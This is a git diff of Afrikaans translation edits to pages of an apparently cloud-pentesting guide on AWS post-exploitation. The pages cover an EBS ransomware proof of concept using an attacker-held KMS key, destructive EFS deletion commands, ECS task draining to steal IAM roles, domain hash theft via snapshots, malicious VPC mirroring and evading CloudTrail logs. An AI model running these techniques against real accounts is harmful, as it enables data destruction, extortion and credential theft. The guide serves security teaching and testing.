```shell kubectl get pods --insecure-skip-tls-verify ``` -Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle. +Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s audit gereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle. Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot. @@ -127,9 +127,9 @@ Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-kluster ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Soek sensitiewe inligting in openbare en private AMI's +### Soek sensitiewe inligting in openbare en private AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instansies van teiken AMI's te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instansies van teiken AMIs te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data. ### Deel EBS Snapshot ```bash @@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Bestuurdiens met hoe maklik dit is om verskeie AWS dienste te enkripteer met behulp daarvan. +'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Management Service met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik. -Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer hou. Verander die sleutelbeleid om enige AWS rekening Prinsipaal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Buite Enkripsie' genoem. +Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Hoof te laat toe om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem. ``` { "Version": "2012-10-17", @@ -231,7 +231,7 @@ Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel i ] } ``` -Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om 'n EBS-volume te enkripteer: +Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer: - `kms:CreateGrant` - `kms:Decrypt` @@ -239,17 +239,17 @@ Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met ongeënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening. +Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en dit te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut enkripteerde EBS-volumes te skep, te verwyder. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, te verwyder. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Dit lei tot slegs enkripteerde EBS-volumes wat beskikbaar is in die rekening. +Dit lei tot slegs geënkripteerde EBS-volumes wat in die rekening beskikbaar is. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Dit is ook die moeite werd om te noem, die skrip het die EC2-instanse gestop om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike ongeënkripteerde volumes is nou weg. +Dit is ook die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) @@ -324,7 +324,7 @@ Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyde ] } ``` -Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg. +Wag 'n bietjie vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) @@ -332,7 +332,7 @@ Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutel ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening agterlaat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE ORIGINELE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand herstel via snappings, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is. +Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening aangeheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snappings herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 075784d07..95f18ee43 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -77,7 +77,7 @@ Stap 5: Kontroleer of die volume enige data het met die opdrag `sudo file -s /de As die uitvoer van die bogenoemde opdrag "/dev/xvdf: data" toon, beteken dit dat die volume leeg is. -Stap 6: Formateer die volume na die ext4 lêerstelsel met die opdrag `sudo mkfs -t ext4 /dev/xvdf`. Alternatiewelik kan jy ook die xfs-formaat gebruik deur die opdrag `sudo mkfs -t xfs /dev/xvdf` te gebruik. Neem asseblief kennis dat jy of ext4 of xfs moet gebruik. +Stap 6: Formateer die volume na die ext4 lêerstelsel met die opdrag `sudo mkfs -t ext4 /dev/xvdf`. Alternatiewelik kan jy ook die xfs-formaat gebruik deur die opdrag `sudo mkfs -t xfs /dev/xvdf` te gebruik. Neem asseblief kennis dat jy óf ext4 óf xfs moet gebruik. Stap 7: Skep 'n gids van jou keuse om die nuwe ext4-volume te monteer. Byvoorbeeld, jy kan die naam "newvolume" gebruik. @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming het, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te koppel en die **NTDS.dit en SYSTEM** registrasie hives lêer te **eksporteer** vir gebruik met Impacket se secretsdump projek. +Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming het, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te koppel en die **NTDS.dit en SYSTEM** registrasie hives lêer te eksporteer vir gebruik met Impacket se secretsdump projek. Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) of jy kan een van die vorige tegnieke gebruik nadat jy 'n snapshot geskep het. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 63ad1afc6..04d420b1d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,13 +2,13 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **vir verdere besonderhede van die aanval!** +**Kyk** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **vir verdere besonderhede van die aanval!** -Passiewe netwerkinspeksie in 'n wolkomgewing was **uitdagend**, wat groot konfigurasiewijzigings vereis het om netwerkverkeer te monitor. 'n Nuwe kenmerk genaamd “**VPC Traffic Mirroring**” is egter deur AWS bekendgestel om hierdie proses te vereenvoudig. Met VPC Traffic Mirroring kan netwerkverkeer binne VPC's **gedupliseer** word sonder om enige sagteware op die instansies self te installeer. Hierdie gedupliseerde verkeer kan na 'n netwerkindringingsdeteksiesisteem (IDS) gestuur word vir **analise**. +Passiewe netwerkinspeksie in 'n wolkomgewing was **uitdagend**, wat groot konfigurasiewijzigings vereis het om netwerkverkeer te monitor. 'n Nuwe kenmerk genaamd “**VPC Traffic Mirroring**” is egter deur AWS bekendgestel om hierdie proses te vereenvoudig. Met VPC Traffic Mirroring kan netwerkverkeer binne VPC's **gedupliseer** word sonder om enige sagteware op die instansies self te installeer. Hierdie gedupliseerde verkeer kan na 'n netwerkindringingsdeteksiesisteem (IDS) gestuur word vir **ontleding**. Om die behoefte aan **geoutomatiseerde ontplooiing** van die nodige infrastruktuur vir spieëling en ekfiltrering van VPC-verkeer aan te spreek, het ons 'n bewys-van-konsep-skrip genaamd “**malmirror**” ontwikkel. Hierdie skrip kan gebruik word met **gekompromitteerde AWS-akkrediteer** om spieëling op te stel vir alle ondersteunde EC2-instanties in 'n teiken VPC. Dit is belangrik om te noem dat VPC Traffic Mirroring slegs ondersteun word deur EC2-instanties wat deur die AWS Nitro-stelsel aangedryf word, en die VPC-spieëlteiken moet binne dieselfde VPC wees as die gespieëlde gasheer. -Die **impak** van kwaadwillige VPC-verkeer spieëling kan beduidend wees, aangesien dit aanvallers toelaat om toegang te verkry tot **sensitiewe inligting** wat binne VPC's oorgedra word. Die **waarskynlikheid** van sulke kwaadwillige spieëling is hoog, gegewe die teenwoordigheid van **duidelike teksverkeer** wat deur VPC's vloei. Baie maatskappye gebruik duidelike teksprotokolle binne hul interne netwerke vir **prestasie redes**, met die aanname dat tradisionele man-in-the-middle-aanvalle nie moontlik is nie. +Die **impak** van kwaadwillige VPC-verkeer spieëling kan beduidend wees, aangesien dit aanvallers in staat stel om toegang te verkry tot **sensitiewe inligting** wat binne VPC's oorgedra word. Die **waarskynlikheid** van sulke kwaadwillige spieëling is hoog, gegewe die teenwoordigheid van **duidelike teksverkeer** wat deur VPC's vloei. Baie maatskappye gebruik duidelike teksprotokolle binne hul interne netwerke vir **prestasie redes**, met die aanname dat tradisionele man-in-the-middle-aanvalle nie moontlik is nie. Vir meer inligting en toegang tot die [**malmirror skrip**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), kan dit op ons **GitHub-bewaarplek** gevind word. Die skrip outomatiseer en stroomlyn die proses, wat dit **vinning, eenvoudig en herhaalbaar** maak vir offensiewe navorsingsdoeleindes. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 534beb164..72ad65a15 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -12,28 +12,28 @@ Vir meer inligting, kyk: ### Host IAM Roles -In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instance loop, sal die **EC2 instance** 'n **ander IAM** rol aan hom geheg hê.\ -Dit beteken dat as jy daarin slaag om 'n **kompromie** van 'n ECS instance te maak, jy potensieel die **IAM rol wat aan die ECR en aan die EC2 instance** gekoppel is, kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te verkry, kyk: +In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instansie loop, sal die **EC2 instansie** 'n **ander IAM** rol aan dit hê.\ +Dit beteken dat as jy daarin slaag om 'n ECS instansie te **kompromitteer**, jy potensieel die **IAM rol geassosieer met die ECR en die EC2 instansie** kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te verkry, kyk: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Let daarop dat as die EC2 instance IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instance te verkry. +> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry. ### Privesc to node to steal other containers creds & secrets -Maar verder, gebruik EC2 docker om ECs take te laat loop, so as jy kan ontsnap na die node of **toegang tot die docker socket** kan kry, kan jy **kontroleer** watter **ander houers** aan die gang is, en selfs **binne hulle gaan** en **hulle IAM rolle** steel. +Maar verder, gebruik EC2 docker om ECs take te loop, so as jy kan ontsnap na die node of **toegang tot die docker socket** kan kry, kan jy **kyk** watter **ander houers** aan die gang is, en selfs **binne hulle gaan** en **hulle IAM rolle** steel. #### Making containers run in current host -Boonop sal die **EC2 instance rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instance** van die EC2 instances wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instance na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instance **loop**, potensieel binne die **aanvaller se instance** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**. +Verder sal die **EC2 instansie rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instansie** van die EC2 instansies wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instansie na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instansie **loop**, potensieel binne die **aanvaller se instansie** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -Die dieselfde tegniek kan gedoen word deur **die EC2-instantie uit die kluster te deregistreer**. Dit is potensieel minder stil, maar dit sal **die take dwing om in ander instanties uitgevoer te word:** +Die dieselfde tegniek kan gedoen word deur **die EC2-instantie van die kluster af te deregistreer**. Dit is potensieel minder stil, maar dit sal **die take dwing om in ander instanties uitgevoer te word:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force @@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ... ``` ### Steel sensitiewe inligting uit ECR houers -Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek). +Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 93a0b5d15..d42213ea3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -12,7 +12,7 @@ Vir meer inligting, kyk: ### `elasticfilesystem:DeleteMountTarget` -'n Aanvaller kan 'n mount target verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie mount target staatmaak, kan ontwrig. +'n Aanvaller kan 'n monteerdoelwit verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie monteerdoelwit staatmaak, kan ontwrig. ```sql aws efs delete-mount-target --mount-target-id ``` @@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id ### `elasticfilesystem:DeleteFileSystem` -'n Aanvaller kan 'n hele EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en 'n impak op toepassings wat op die lêerstelsel staatmaak. +'n Aanvaller kan 'n hele EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en impak op toepassings wat op die lêerstelsel staatmaak. ```perl aws efs delete-file-system --file-system-id ``` @@ -28,15 +28,15 @@ aws efs delete-file-system --file-system-id ### `elasticfilesystem:UpdateFileSystem` -'n Aanvaller kan die EFS-lêerstelsel eienskappe opdateer, soos deurgangmodus, om die prestasie daarvan te beïnvloed of hulpbronuitputting te veroorsaak. +'n Aanvaller kan die EFS-lêerstelsel eienskappe opdateer, soos deursetmodus, om die prestasie daarvan te beïnvloed of hulpbronuitputting te veroorsaak. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` -**Potensiële Impak**: Afname in lêerstelsels se prestasie of hulpbronuitputting. +**Potensiële Impak**: Afname van lêerstelsels se prestasie of hulpbronuitputting. ### `elasticfilesystem:CreateAccessPoint` en `elasticfilesystem:DeleteAccessPoint` -'n Aanvaller kan toegangspunte skep of verwyder, wat toegangbeheer verander en moontlik onregmatige toegang tot die lêerstelsel aan hulself verleen. +'n Aanvaller kan toegangspunte skep of verwyder, toegangbeheer verander en moontlik onregmatige toegang tot die lêerstelsel aan hulself verleen. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index bcd15110a..5302fceaa 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - Nie so maklik nie: -As jy **'n token kan kry** met **`aws eks get-token --name `** maar jy het nie toestemming om cluster inligting te kry nie (describeCluster), kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token, moet jy steeds die **url eindpunt om te verbind** (as jy daarin geslaag het om 'n JWT token van 'n pod te kry, lees [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**. +As jy **'n token kan kry** met **`aws eks get-token --name `** maar jy het nie toestemming om cluster inligting te kry nie (describeCluster), kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token, moet jy steeds die **url eindpunt om te verbind** hê (as jy daarin geslaag het om 'n JWT token van 'n pod te kry, lees [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**. In my geval, het ek nie die inligting in CloudWatch logs gevind nie, maar ek **het dit in LaunchTemplates userData gevind** en in **EC2 masjiene in userData ook**. Jy kan hierdie inligting maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster naam was cluster-name): ```bash @@ -72,28 +72,28 @@ provideClusterInfo: false ### Van AWS na Kubernetes -Die **skepper** van die **EKS-kluster** sal **ALTYD** in staat wees om in die kubernetes kluster deel van die groep **`system:masters`** (k8s admin) te kom. Ten tyde van hierdie skrywe is daar **geen direkte manier** om **te vind wie die kluster geskep het** (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilegie** te **verwyder**. +Die **skepper** van die **EKS-kluster** sal **ALTYD** in staat wees om in die kubernetes kluster deel van die groep **`system:masters`** (k8s admin) te kom. Ten tyde van hierdie skrywe is daar **geen direkte manier** om te vind **wie die kluster geskep het** (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilege** te **verwyder**. Die manier om **toegang tot K8s aan meer AWS IAM gebruikers of rolle** te verleen, is deur die **configmap** **`aws-auth`** te gebruik. > [!WARNING] -> Daarom sal enige iemand met **skryftoegang** oor die config map **`aws-auth`** in staat wees om die **hele kluster te kompromitteer**. +> Daarom sal enigeen met **skryftoegang** oor die config map **`aws-auth`** in staat wees om die **hele kluster te kompromitteer**. -Vir meer inligting oor hoe om **bykomende privilegies aan IAM rolle & gebruikers** in die **dieselfde of verskillende rekening** te verleen en hoe om dit te **misbruik**, kyk na [**privesc kyk hierdie bladsy**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Vir meer inligting oor hoe om **addisionele privileges aan IAM rolle & gebruikers** in die **dieselfde of verskillende rekening** te verleen en hoe om dit te **misbruik**, kyk na [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Kyk ook na[ **hierdie wonderlike**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **plasing om te leer hoe die authenticatie IAM -> Kubernetes werk**. +Kyk ook na[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post om te leer hoe die authenticatie IAM -> Kubernetes werk**. ### Van Kubernetes na AWS -Dit is moontlik om 'n **OpenID-authenticatie vir kubernetes diensrekening** toe te laat om hulle in staat te stel om rolle in AWS aan te neem. Leer hoe [**dit werk op hierdie bladsy**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Dit is moontlik om 'n **OpenID-authenticatie vir kubernetes diensrekening** toe te laat om hulle in staat te stel om rolle in AWS aan te neem. Leer hoe [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### KRY Api Bediening Eindpunt van 'n JWT Token +### KRY Api Server Eindpunt van 'n JWT Token -Deur die JWT-token te ontcijfer, kry ons die kluster-id & ook die streek. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Weet dat die standaardformaat vir EKS-URL is +Deur die JWT-token te ontleed, kry ons die kluster-id & ook die streek. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Weet dat die standaardformaat vir EKS-URL is ```bash https://...eks.amazonaws.com ``` -Nie enige dokumentasie gevind wat die kriteria vir die 'twee karakters' en die 'nommer' verduidelik nie. Maar deur 'n paar toetse namens myself te doen, sien ek dat hierdie eene herhaaldelik voorkom: +Nie enige dokumentasie gevind wat die kriteria vir die 'twee karakters' en die 'nommer' verduidelik nie. Maar deur 'n paar toetse namens myself te doen, sien ek dat hierdie eenhede herhaaldelik voorkom: - gr7 - yl4 @@ -125,15 +125,15 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws As 'n aanvaller die akrediteer van 'n AWS met **toestemming oor 'n EKS** verkry. As die aanvaller sy eie **`kubeconfig`** (sonder om **`update-kubeconfig`** te noem) soos voorheen verduidelik, genereer die **`get-token`** nie logs in Cloudtrail nie omdat dit nie met die AWS API interaksie het nie (dit skep net die token plaaslik). -So wanneer die aanvaller met die EKS-kluster praat, **sal cloudtrail niks log wat verband hou met die gebruiker wat gesteel is en toegang verkry nie**. +So wanneer die aanvaller met die EKS-kluster praat, **sal cloudtrail niks log wat verband hou met die gebruiker wat gesteel is en toegang daartoe het nie**. -Let daarop dat die **EKS-kluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel dit standaard gedeaktiveer is). +Let daarop dat die **EKS-kluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel, standaard, is hulle gedeaktiveer). ### EKS Ransom? -Standaard het die **gebruiker of rol wat 'n kluster geskep het** **ALTYD administratiewe regte** oor die kluster. En dit is die enigste "veilige" toegang wat AWS oor die Kubernetes-kluster sal hê. +Standaard het die **gebruiker of rol wat 'n** kluster geskep het **ALTYD administratiewe regte** oor die kluster. En dit is die enigste "veilige" toegang wat AWS oor die Kubernetes-kluster sal hê. -So, as 'n **aanvaller 'n kluster met fargate kompromitteer** en **alle ander admins verwyder** en **die AWS gebruiker/rol wat die Kluster geskep het verwyder**, ~~kan die aanvaller die **kluster geënkripteer het**~~**r**. +So, as 'n **aanvaller 'n kluster met fargate kompromitteer** en **alle ander admins 